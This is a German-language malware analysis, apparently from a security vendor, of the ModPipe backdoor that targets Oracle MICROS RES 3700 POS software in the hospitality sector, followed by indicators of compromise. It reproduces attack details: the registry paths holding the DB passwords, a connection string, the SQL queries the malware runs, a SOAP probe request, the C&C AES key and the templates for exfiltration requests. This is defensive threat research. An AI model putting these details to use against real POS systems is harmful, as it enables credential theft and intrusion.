Hungrig nach Daten - ModPipe Backdoor bedroht POS-Software im Gastgewerbe

ESET-Forscher haben eine modulare Backdoor namens ModPipe entdeckt und analysiert, mit der ihre Hintermänner auf vertrauliche Informationen zugreifen können, die auf Geräten mit ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS gespeichert sind. Die Software-Suite wird weltweit von Hunderttausenden von Bars, Restaurants, Hotels und anderen Einrichtungen des Gastgewerbes für die Verwaltung eingesetzt.

Was die Backdoor auszeichnet, sind ihre herunterladbaren Module und deren Fähigkeiten. Eines von ihnen - GetMicInfo - enthält einen Algorithmus zum Sammeln von Datenbankkennwörtern durch das Entschlüsseln aus Windows-Registrierungswerten. Dies zeigt, dass die Backdoor-Autoren über fundierte Kenntnisse der Zielsoftware verfügen und sich für diese ausgefeilte Methode entschieden haben, anstatt die Daten über einen einfacheren, aber „lauteren“ Ansatz wie Keylogging zu erfassen.

Die gestohlenen Anmeldeinformationen ermöglichen den Angreifern den Zugriff auf Datenbankinhalte, einschließlich verschiedener Definitionen und Konfigurationen, Statustabellen und Informationen zu POS-Transaktionen.

Laut der Dokumentation des RES 3700 POS, sollten die Angreifer jedoch nicht auf einige der vertraulichsten Informationen zugreifen können, wie z. B. Kreditkartennummern und Ablaufdaten, da diese durch Verschlüsselung geschützt sind. Die einzigen Kundendaten, die im Klartext gespeichert sind und somit den Angreifern zur Verfügung stehen, sollten die Namen der Karteninhaber sein.

Da so die Menge der wertvollen, für einen Verkauf oder Missbrauch geeigneten Informationen, begrenzt ist, bleibt das vollständige „Geschäftsmodell“ hinter der Operation im Unklaren. Eine mögliche Erklärung ist, dass noch ein weiteres herunterladbares Modul existiert, mit dem die Malware-Betreiber die sensibleren Daten in der Datenbank des Users entschlüsseln können.

Dazu müssten die Angreifer, laut der Dokumentation, den Erstellungsprozess der „standortspezifischen Passphrase“, von der der Verschlüsselungsschlüssel für vertrauliche Daten abgeleitet wird, per Reverse Engineering nachbilden. Dieser Prozess müsste dann in das Modul implementiert und - aufgrund der Verwendung der Windows Data Protection API (DPAPI) - direkt auf dem Computer des Opfers ausgeführt werden. Ein weitere Unbekannte ist die Distributionsmethode von ModPipe. Die Mehrheit der identifizierten Ziele befand sich in den USA, mit Hinweisen darauf, dass sie zum Restaurant- und Gastgewerbesektor gehören - den Hauptkunden von RES 3700 POS.

ModPipe-Architektur

Unsere Analyse zeigt, dass ModPipe eine modulare Architektur verwendet, die aus Basiskomponenten und herunterladbaren Modulen besteht (zur besseren Übersicht siehe Abbildung 1):

1. initial dropper - enthält sowohl 32-Bit- als auch 64-Bit-Binärdateien der nächsten Stufe - des persistenten Loaders - und installiert die entsprechende Version auf dem Computer des Opfers.
2. persistent loader - entpackt und lädt die nächste Stufe der Malware, nämlich das Hauptmodul.
3. main module - führt die Hauptfunktionalität der Malware aus. Es erstellt eine Pipe, die für die Kommunikation mit anderen schädlichen Modulen verwendet wird, de/installiert diese Module und dient als Dispatcher, der die Kommunikation zwischen den Modulen und dem C&C-Server des Angreifers verwaltet.
4. networking module - Modul für die Kommunikation mit dem C&C-Server.
5. downloadable modules - diese Module fügen der Backdoor weiter Fähigkeiten hinzu, wie den Diebstahl von Datenbankkennwörter und Konfigurationsinformationen, das Scannen bestimmer IP-Adressen oder der Abruf einer Liste von laufenden Prozessen und der von ihnen geladenen Module.

Abbildung 1. Übersicht über die ModPipe-Backdoor-Architektur

Herunterladbare Module

Die wahrscheinlich faszinierendsten Teile von ModPipe sind die herunterladbaren Module. Wir sind uns ihrer Existenz seit Ende 2019 bewusst, als wir die „grundlegenden“ Komponenten zum ersten Mal fanden und analysierten.

Im April 2020 fanden wir, nach einer monatelangen Jagd, drei dieser Module in freier Wildbahn. Die Liste aller herunterladbaren Module, die wir gefunden und analysiert haben, und ihre IDs - dargestellt durch einen vorzeichenlosen 16-Bit-Wert - sind in Tabelle 1 aufgeführt. Unsere Untersuchungen legen außerdem nahe, dass die Hintermänner mindestens vier andere herunterladbare Module verwenden, deren Funktionalität bis jetzt völlig im Unklaren bleibt.

Es ist erwähnenswert, dass einige dieser Module eine Named Pipe mit einem GUID-formatierten Namen erstellen können, der von der Modul-ID abgeleitet ist. Andere Module können diese Pipe verwenden, um Befehle an das Modul zu senden, das sie erstellt hat.

Tabelle 1. Herunterladbare Module

Herunterladbares Modul: GetMicInfo

GetMicInfo ist eine herunterladbare Komponente, die es auf Daten im Zusammenhang mit dem MICROS POS abgesehen hat. Dazu gehören auch Kennwörter, die an zwei vom Hersteller vordefinierte Datenbankbenutzernamen gebunden sind: dba und micros (siehe Abbildung 2). Diese Informationen werden verschlüsselt und in den Registry-Werten DataS5 (für dba) und DataS6 (für micros) in einem der folgenden Registry-Schlüssel gespeichert:

• HKLM\Software\Micros\UserData oder
• HKLM\Software\WOW6432Node\Micros\UserData wenn die Software in Windows 32-bit auf einem Windows 64-bit (WOW64) Subsystem läuft

Abbildung 2. Von Hex-Rays dekompilierter Code der Funktion zum Stehlen von Datenbankkennwörtern

Das GetMicInfo-Modul kann diese Datenbankkennwörter mithilfe eines speziell entwickelten Algorithmus abfangen und entschlüsseln. Um anderen Cyberkriminellen nicht zu helfen, werden wir das Innenleben des Algorithmus nicht offenlegen. Da der Entschlüsselungsmechanismus nicht öffentlich verfügbar war, gibt es mindestens drei mögliche Szenarien, wie die Angreifer den Algorithmus hätten entwickeln können:

• Die wahrscheinlichste Option ist, dass die Angreifer die Implementierung des ORACLE MICROS RES 3700 POS und der Bibliotheken, die für die Ver- und Entschlüsselung der Datenbankkennwörter verantwortlich sind, erworben und per Reverse Engineering entwickelt haben.
• Die Angreifer könnten die Informationen über die Implementierung des Verschlüsselungs- und Entschlüsselungsmechanismus aus einem Servereinbruch von 2016 erhalten haben, der in einem Blogpost von Brian Krebs beschrieben wurde.
• Die Malware-Betreiber könnten den Code von einem Untergrundmarktplatz gekauft können.

Unsere Analyse zeigt, dass in Fällen, in denen das GetMicInfo-Modul das Kennwort für den dba-Benutzernamen entschlüsselt, auch versucht wird, den Pfad zur SQL Anywhere-API-Bibliothek aus der Umgebungsvariablen "SQLANY_API_DLL" abzurufen und zu laden, falls er verfügbar ist.

Wenn die Umgebungsvariable nicht existiert, versucht das Modul, die Bibliothek unter dem Namen dbcapi.dll zu laden. Diese Bibliothek ist Teil von Sybase SQL Anywhere, das von RES 3700 POS verwendet wird.

Wenn einer dieser Ansätze erfolgreich ist, versucht GetMicInfo mithilfe des folgenden Verbindungs-Strings eine Verbindung zur Datenbank herzustellen:

DBN=micros;UID=dba;ENG=sql%PCNAME%;PWD=%decrypted_DataS5%

%PCNAME% stellt den Computernamen dar, der über die GetComputerName-API abgerufen wurde, und %decrypted_DataS5% steht für das entschlüsselte dba-Benutzerkennwort.

Nach dem Herstellen einer Verbindung versucht GetMicInfo die folgenden SQL-Abfragen auszuführen und meldet die Ergebnisse mithilfe einer Pipe-Nachricht mit der ID 0x10000013 an das Hauptmodul (eine vollständige Liste der Pipe-Nachrichten und ihrer IDs finden Sie in Tabelle 3):

SELECT lan_node_seq,obj_num,name,lan_addr,ob_diskless,type,ip_addr,ip_netmask FROM micros.lan_node_def

SELECT dvc_tbl_seq,obj_num,name,type,com_port_seq,com_port,baud_rate,num_data_bits,num_stop_bits,parity_type,filename FROM micros.dev_def

SELECT tmed_seq,obj_num,name,type,ca_driver,edc_driver FROM micros.tmed_def

SELECT * FROM micros.caedc_driver_def

SELECT * FROM micros.interface_def

Die abgefragten Daten enthalten verschiedene Definitionen und Konfigurationen des MICROS RES 3700 POS-Systems (siehe Abbildung 3). Andere vom Modul gestohlene Informationen umfassen die Version des MICROS-POS und Informationen zu bestimmten Registrierungsschlüsseln, die höchstwahrscheinlich mit verschiedenen Konfigurationen von Kreditkartendiensten zusammenhängen.

Abbildung 3. Dekompilierter Hex-Rays-Code der Funktion, die Datenbankdaten stiehlt

Das GetMicInfo-Modul wird in einen vom C&C-Server im Installationsbefehl (0x0C) angegebenen Prozesse eingefügt. Nach unseren Erkenntnissen ist dies normalerweise mit einem der folgenden legitimen Prozesse verbunden:

• MDSHTTPService.exe (MICROS MDS HTTP Service)
• CALSrv.exe (MICROS CAL Service - Client Application Loader server)
• explorer.exe

Wir können bestätigen, dass das GetMicInfo-Modul die Datenbankkennwörter von RES 3700 POS v4.7 und v5.4 erfolgreich akquirieren kann. Bei allen anderen Versionen konnten wir diese Fähigkeit weder bestätigen noch verweigern.

Herunterladbares Modul: ModScan 2.20

Der Hauptzweck von ModScan 2.20 besteht darin, zusätzliche Informationen über die auf den Computern installierte MICROS-POS-Umgebung zu sammeln, indem ausgewählte IP-Adressen gescannt werden. Das ModScan 2.20-Modul wird über einen InstallMod-Befehl (0x72) in einen vom C&C-Server angegebenen Prozesse eingefügt. Basierend auf unseren Erkenntnissen ist es normalerweise mit einem der folgenden legitimen Prozesse verbunden:

• MDSHTTPService.exe (MICROS MDS HTTP Service)
• CALSrv.exe (MICROS CAL Service - Client Application Loader server)
• msdtc.exe
• jusched.exe
• spoolsv.exe
• services.exe

Unterschiede zwischen den von GetMicInfo missbrauchten eingefügten Prozessen und den von ModScan 2.20 anvisierten Prozessen können durch die Tatsache verursacht werden, dass das GetMicInfo-Modul nur in Prozesse eingefügt wird, die unter WOW64 ausgeführt werden.

Die Liste der zum Scannen bestimmten IP-Adressen und die spezielle „Ping“-IP-Adresse werden vom C&C auf zwei Arten festgelegt. Sie wird entweder:

1. vom C&C zusammen mit dem ModScan-Modul heruntergeladen oder
2. zur Laufzeit mit der Named Pipe empfangen, die dem ModScan-Modul zugeordnet ist.

Das ModScan-Modul verarbeitet die in Tabelle 2 aufgeführten Pipe-Befehle.

Tabelle 2. Pipe-Befehle des ModScan 2.20 Moduls

Ablauf des Scanvorgangs:

1. Vor dem Scannen sendet das Modul eine spezielle Ping-Nachricht mit einem 32-Bit-Wert, der von der Windows-API-Funktion GetTickCount generiert wurde, an die TCP-Ports 50123 (der vom MDS HTTP Service verwendet wird) und 2638 (der vom SAP Sybase-Datenbankserver verwendet wird) der „Ping“-IP-Adresse.
2. Die Antwort der „Ping“-IP-Adresse sollte denselben 32-Bit-Wert enthalten, der um ein Bit nach rechts gedreht wurde und mit dem Wert 0x6CF6B8A8 XOR-verknüpft ist. Wenn die Antwort an mindestens einem der Ports den entsprechenden Wert liefert, startet das Modul den Scan der ausgewählten IP-Adressen. Eine Dekompilierung dieser Ping-Funktion ist in Abbildung 4 dargestellt.

Abbildung 4. Dekompilierter Hex-Rays-Code der ModScan-Ping-Funktionalität

3. Wenn das ModScan-Modul den Scan startet, werden abhängig von den mit dem Scan-Befehl empfangenen Parametern möglicherweise einige der folgenden Informationen erfasst:

• Version des Oracle MICROS RES 3700 POS, die durch Senden einer HTTP-Post-Nachricht (siehe Abbildung 5) an die angegebene IP-Adresse des vom MDS-HTTP-Dienst verwendeten Port 50123, erfasst wird. Die gesuchten Informationen werden zwischen Daten-XML-Tags (<data>%version%</data>) der Antwort des Dienstes gespeichert.

POST /%s HTTP/1.1
Accept: text/xml
User-Agent: MDS POS Client
Host: %s:50123
Content-Length: 459
Connection: Keep-Alive
Cache-Control: no-cache

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
    <SOAP-ENV:Body xmlns:MCRS-ENV="MCRS-URI">
        <MCRS-ENV:Service>MDSSYSUTILS</MCRS-ENV:Service>
        <MCRS-ENV:Method>Reg_GetValue</MCRS-ENV:Method>
        <MCRS-ENV:SessionKey>Session</MCRS-ENV:SessionKey>
        <MCRS-ENV:InputParameters>
            <Key>SOFTWARE\MICROS</Key>
            <KeyType>HKEY_LOCAL_MACHINE</KeyType>
            <KeyName>Version</KeyName>
        </MCRS-ENV:InputParameters>
    </SOAP-ENV:Body> 
</SOAP-ENV:Envelope>

Abbildung 5. MDS-HTTP-Dienstanforderung

• Name der Datenbank, extrahiert durch Senden eines speziell gestalteten TCP-Pakets (möglicherweise unter Verwendung des CMDSEQ-Befehlsprotokolls) an die ausgewählte IP-Adresse an Port 2638, die vom SAP Sybase Datenbank Server verwendet wird. Die Zeichenfolge, die den Namen der Datenbank darstellt, befindet sich am Offset 0x28 der vom Datenbankserver gesendeten Antwort.
• Datenbankserverdaten wie Name, Version des TDS-Protokolls und TDS-Serverversion. Um diese Informationen zu erhalten, sendet das ModScan-Modul ein fest codiertes TDS 4.2- und 5.0-Anmeldepaket (Abbildung 6) an die angegebene IP-Adresse an Port 2638. Die Antwort enthält ein Anmeldebestätigungspaket, das in beiden Fällen - Erfolg oder Misserfolg - Informationen zum Datenbankserver und den verwendeten TDS-Versionen enthält. Das TDS-Anmeldepaket ist fest codiert, wobei der Benutzername auf die integrierte Datenbank dba und ein fest codiertes Kennwort festgelegt ist. Dies ist möglicherweise das Standardkennwort in einigen RES 3700-POS-Versionen. Da wir keinen öffentlichen Verweis auf dieses Passwort gefunden haben, werden wir es nicht in unserem Blogpost veröffentlichen.

Abbildung 6. Vom ModScan-Modul verwendetes TDS 4.2- und 5.0-Anmeldepaket, das mit Wireshark untersucht wurde

Herunterladbares Modul: ProcList

Das letzte der herunterladbaren Module, die wir erhalten und sezieren konnten, war ProcList. Dies ist ein Modul, dem keine ID zugewiesen wurde. Der Hauptzweck besteht darin, Informationen zu aktuell ausgeführten Prozessen zu sammeln, darunter: Name, Prozesskennung (PID), übergeordnete Prozess-PID, Anzahl der Threads, Token-Eigentümer, Token-Domäne, Erstellungszeit des Prozesses und Befehlszeile.

Optional kann ProcList auch Informationen zu geladenen Modulen für jeden der laufenden Prozesse sammeln. Die gesammelten Informationen werden an das Hauptmodul der Hintertür gesendet (mithilfe der Pipe-Nachricht 0x10000013).

Initial dropper

Der initiale Dropper ist für die Installation der nächsten Stufe der Malware verantwortlich. Während unserer Untersuchung haben wir eine ausführbare Dropper-Datei auf zwei kompromittierten Computern entdeckt, die an folgenden Orten gespeichert waren:

• C:\IQXDatabase\Live\1.exe
• C:\OasisLive\1.exe

Jedes Mal, wenn der initiale Dropper ausgeführt wird, wird eine eindeutige Konfiguration generiert, die hauptsächlich zufällige Bytes verwendet. Dies führt dazu, dass sich der Hash des abgelegten Loaders bei jeder Ausführung ändert, was die Erkennung und Verfolgung der Malware erschwert. Die Dropper-Komponente kann den Loader an zwei möglichen Orten ablegen. Sie richtet den Persistenz-Mechanismus durch Erstellung eines Windows-Diensts oder eines Windows-Registry-Run-Key ein (Einzelheiten finden Sie im Abschnitt Indicators of Compromise).

Der verschlüsselte Inhalt, der die Hauptfunktionalität des Droppers enthält, wird in den Ressourcen des Droppers als Bitmaps mit den Namen A bis L gespeichert. Der Dropper entschlüsselt diese Inhalte mithilfe des angegebenen Befehlszeilenparameters und führt sie dann aus. Die Nutzdaten sind, abhängig von der Systemarchitektur, für die Entschlüsselung des entsprechenden Loaders verantwortlich, also entweder 32-Bit oder 64-Bit. Jeder der Loader wird mit einem eigenen XOR-Schlüssel verschlüsselt, der jeweils 0x80 Byte lang ist. Der dekompilierte Code, der für das Laden der Inhalte aus den Binärdatei-Ressourcen sowie deren Entschlüsselung und Ausführung verantwortlich ist, ist in Abbildung 7 dargestellt.

Abbildung 7. Dekompilierter Hex-Rays-Code - Entschlüsselung und Ausführung der Nutzdaten im ersten Dropper

Ein Beispiel für eine verschlüsselte und entschlüsselte Konfiguration mit Erläuterungen ist in Abbildung 8 dargestellt. Die gezeigte Konfiguration stammt von dem vom Dropper-Beispiel mit SHA-1-Hash 9f8530627a8ad38f47102f626dec9f0173b44cd5 installierten Loader. Beachten Sie, dass die Struktur der Konfiguration zwischen älteren und neueren Versionen der ausführbaren Loader-Datei variieren kann.

Abbildung 8. Beispiel für die vom Loader generierte Konfiguration (der obere Teil ist verschlüsselt, der untere entschlüsselt)

Persistenter Loader

Diese Komponente ist sowohl für das Entpacken des Hauptmoduls als auch für dessen Injektion in einen der folgenden Prozesse verantwortlich:

• exe
• exe
• exe

Zum Entpacken des Hauptmoduls verwendet der Persistent Loader unterschiedliche Ansätze für die 32-Bit- und 64-Bit-Versionen. Während der 32-Bit-Loader fast identisch mit dem ursprünglichen Dropper ist - der einzige Unterschied besteht in den in den Ressourcen gespeicherten Nutzdaten -, verwendet der 64-Bit-Loader einen völlig anderen Code zum Entpacken.

Wir haben sieben verschiedene Versionen der ausführbaren Loader-Dateien gefunden, die jeweils einen anderen Kompilierungszeitstempel haben. Der älteste stammt wahrscheinlich aus dem Dezember 2017 und der neueste aus dem Juni 2020. Die vollständige Zeitleiste finden Sie in Abbildung 9. Eine Liste aller Loader-Hashes ist im Abschnitt Indicators of Compromise enthalten.

Abbildung 9. Zeitleiste bekannter ModPipe-Varianten und deren Zeitstempel.

Hauptmodul

Das Hauptmodul ist hauptsächlich für die Verwaltung der C&C-Kommunikation und die Verarbeitung empfangener Nachrichten beziehungsweise Befehle vom C&C oder herunterladbaren Modulen verantwortlich. Um die Kommunikation mit Modulen zu erleichtern, erstellt das Hauptmodul zunächst eine Pipe mit einem zufällig generierten Namen, der mit der folgenden Formatzeichenfolge formatiert ist:

{%08X-%04X-%04X-%04X-%08X%04X}

Anschließend wird die Pipe mithilfe der PeekNamedPipe Windows-API-Funktion regelmäßig auf neue Nachrichten überprüft. Nachrichten werden analysiert und entsprechend ihrem Inhalt behandelt. Eine vollständige Liste der erkannten Pipe-Befehle und -Nachrichten finden Sie in Tabelle 3.

Tabelle 3. Liste der Pipe-Nachrichten/Befehlstypen

Die detaillierte Struktur und das Format der Nachrichten, die über die Pipe übertragen werden, finden Sie in Abbildung 10.

Abbildung 10. Struktur der Named Pipe-Nachrichten des Hauptmoduls

Für die Kommunikation mit seinem C&C-Server verwendet das Hauptmodul HTTP und Port 80. Jedes der untersuchten Beispiele enthielt eine Liste potenziell verfügbarer Server, aus denen einer zufällig ausgewählt wurde. Eine Liste aller C&C-Adressen, die im Verlauf unserer Forschung entdeckt wurden, finden Sie im Abschnitt Indicators of Compromise.

An C&C gesendete Nachrichten (siehe Abbildung 11) werden im Code des Hauptmoduls erstellt und verschlüsselt.

Abbildung 11. Struktur der an C&C gesendeten Nachrichten

Vor jeder Kommunikation mit dem C&C-Server generiert das Hauptmodul zwei saubere URLs und verwendet diese, um nach einer Internetverbindung und einer unverdächtig aussehenden Kommunikation für den böswilligen Datenverkehr zu suchen. Die URLs verwenden das folgende Format: www.%domain%[.]com/?%rand%, wobei %domain% zufällig aus google, bing und yahoo ausgewählt wird und %rand% eine zufällige 32-Bit-Ganzzahl ohne Vorzeichen ist, die in ASCII dargestellt wird.

Die Kommunikation mit dem C&C wird mit AES im CBC-Modus mit dem folgenden 128-Bit-Schlüssel verschlüsselt: F45D076FEC641691A21F0C946EDA9BD5. Vor der Verschlüsselung beginnen C&C-Nachrichten mit einer 4-Byte-Prüfsumme, die als CRC32 (Nachricht) geXORt wird und die ersten 4 Bytes des AES-Schlüssels enthält, der zum Verschlüsseln der Nachricht verwendet wird. Im Fall des oben erwähnten Schlüssels wäre dies F4 5D 07 6F.

Die Daten werden mit dem Netzwerkmodul übertragen, das bei Bedarf eingespeist wird und sofort nach dem Hoch- oder Herunterladen der angeforderten Nachricht beendet wird. Um den Prozess für die Injektion auszuwählen, listet das Hauptmodul laufende Prozesse auf und weist ihnen einen Prioritätswert zwischen 3 und 6 zu. Diejenigen mit höherer Priorität werden zuerst injiziert, basierend auf den folgenden Kriterien:

• Priorität 6
  • Die höchste Priorität, die einem Prozess zugewiesen wurde, der bereits erfolgreich zum Einfügen eines Netzwerkmoduls verwendet wurde, erhielt eine Antwort von C&C und wird weiterhin unter derselben PID, demselben Namen und derselben Erstellungszeit ausgeführt.
• Priorität 5
  • Prozessname ohne Erweiterung, der mit einem der folgenden Prozessnamen übereinstimmt, die für Browser verwendet werden: iexplore, Opera, Chrome, Firefox
• Priorität 4
  • Prozessname ohne Erweiterung, der den folgenden Prozessnamen entspricht: explorer, svchost
• Priorität 3
  • Alle anderen laufenden Prozesse mit Ausnahme der folgenden Systemprozesse: system, lsass, csrss, lsm, winlogon, smss, wininit

Der Hauptgrund für die Prioritätsliste besteht darin, Prozesse einzuschleusen, von denen erwartet wird, dass sie über das Netzwerk kommunizieren, und gleichzeitig Systemprozesse zu vermeiden, die Aufmerksamkeit erregen könnten, wenn sie über das Netzwerk kommunizieren.

Netzwerkmodul

Dieses ModPipe-Modul ist für das Senden von Anforderungen an den C&C und das Parsen der in den C&C-Antworten empfangenen Nutzdaten verantwortlich. Es können HTTP-POST- oder GET-Methoden mit den in Abbildung 12 und Abbildung 13 gezeigten Headern verwendet werden, um Daten zum C&C hochzuladen und zusätzliche Nutzdaten und C&C-Befehle herunterzuladen.

POST /robots.txt HTTP/1.1 
Accept: */* 
Content-Length: %data_length% 
Content-Type: application/octet-stream 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) 
Host: %remote_host% 
Cache-Control: no-cache 

%data%

Abbildung 12. HTTP-POST-Header zur Kontaktaufnahme mit C&C.

GET %rsrc_path% HTTP/1.1 
Accept: */* 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) 
Host: %remote_host% 
Cache-Control: no-cache

Abbildung 13. HTTP GET-Nachrichtenkopf

Die Antworten vom C&C-Server müssen mindestens 33 Byte lang sein, damit sie vom Netzwerkmodul analysiert werden können. Die böswillige Nutzlast befindet sich nach einer Folge von 13 Leerzeichen, gefolgt von einem HTML-Kommentaröffnungs-Tag. Ein Beispiel für eine Serverantwort mit dieser Sequenz ist in Abbildung 14 dargestellt.

Abbildung 14. Beispiel für eine C&C-Serverantwort mit verschlüsselter Nutzlast

I

Wenn alle Bedingungen erfüllt sind, sendet das Netzwerkmodul die C&C-Antwort mithilfe einer Pipe-Nachricht mit der ID 0x10000072 an das Hauptmodul. Das Hauptmodul entschlüsselt dann die Nutzdaten, überprüft ihre Prüfsumme und führt den C&C-Befehl aus. Die verfügbaren Befehle sind in Tabelle 5 aufgeführt.

Tabelle 5. Liste der verfügbaren Hauptmodulbefehle

Fazit

ModPipe zeigt einige interessante Funktionen. Das wahrscheinlich faszinierendste Ergebnis ist der Algorithmus, der in einem der Backdoor-Module versteckt ist. Er wurde speziell entwickelt, um Anmeldeinformationen zu stehlen, indem sie aus Registrierungswerten entschlüsselt werden. Durch den Erwerb der Datenbankkennwörter erhalten die Angreifer einen umfassenden Zugriff auf vertrauliche Informationen. Die vertraulichsten Daten, die auf Geräten mit RES 3700 POS gespeichert sind, bleiben aber wohl weiterhin durch Verschlüsselung geschützt.

Die Architektur, Module und Funktionen von ModPipe deuten auch darauf hin, dass die Autoren über umfassende Kenntnisse der attackierten POS-Software RES 3700 verfügen. Die Kompetenz der Backdoor-Hintermänner könnte sich aus verschiedenen Szenarien ergeben haben. Dazu gehört der Diebstahl und das Reverse Engineering des proprietären Softwareprodukts, der Missbrauch geleakter Teile oder der Kauf von Code auf dem Schwarzmarkt.

Um die Betreiber von ModPipe von ihren Systemen fernzuhalten, wird potenziellen Opfern im Gastgewerbe sowie allen anderen Unternehmen, die den RES 3700 POS verwenden, empfohlen:

• Verwenden Sie die neueste Version der Software.
• Verwenden Sie diese außerdem nur auf Geräten, die aktualisierte Betriebssysteme und Software verwenden.
• Nutzen Sie zuverlässige mehrschichtige Sicherheitssoftware, die ModPipe und ähnliche Bedrohungen erkennen kann.

Indicators of Compromise

C&C IP addresses

• 101.31[.]223
• 32.76[.]192
• 19.58[.]114
• 99.177[.]103
• 209.77[.]172
• 135.230[.]136

C&C domains/URLs

• zapto[.]org
• ddns[.]net/gettime.html
• ddns[.]net/gettime.html

Dropper samples

• 9F8530627A8AD38F47102F626DEC9F0173B44CD5
• FEE9C08B494C80DBF73A6F70FACD20ED0429330D

Loader samples

• 0D1A4CB620576B8ADD34F919B4C6C46E7C3F9A59
• B47E05D67DC055AF5B0689782D67EAA2EB8C75E3
• F213B4EEF63F06EC127D3DC3265E14EE190B71E5
• B2CE307DFE65C188FDAE169ABD65B75B112522C4
• 2AC7A2C09E50EAFABF1F401194AC487ED96C6781
• 0F4355A17AABD3645788341EAC2A9BB759DB95EE

File paths

• %CSIDL_APPDATA%\Microsoft\Windows\{%rand_guid%}\explorer.exe
• %WINDIR%\system32\%random_name%.exe

%rand_guid% - pseudo-random GUID formatted string
%random_name% - from 4 to 7 pseudo-random letters (a-z) with the first one capital e.g. “Cvoeqo.exe”

MITRE ATT&CK techniques

Note: This table was built using version 7 of the MITRE ATT&CK framework.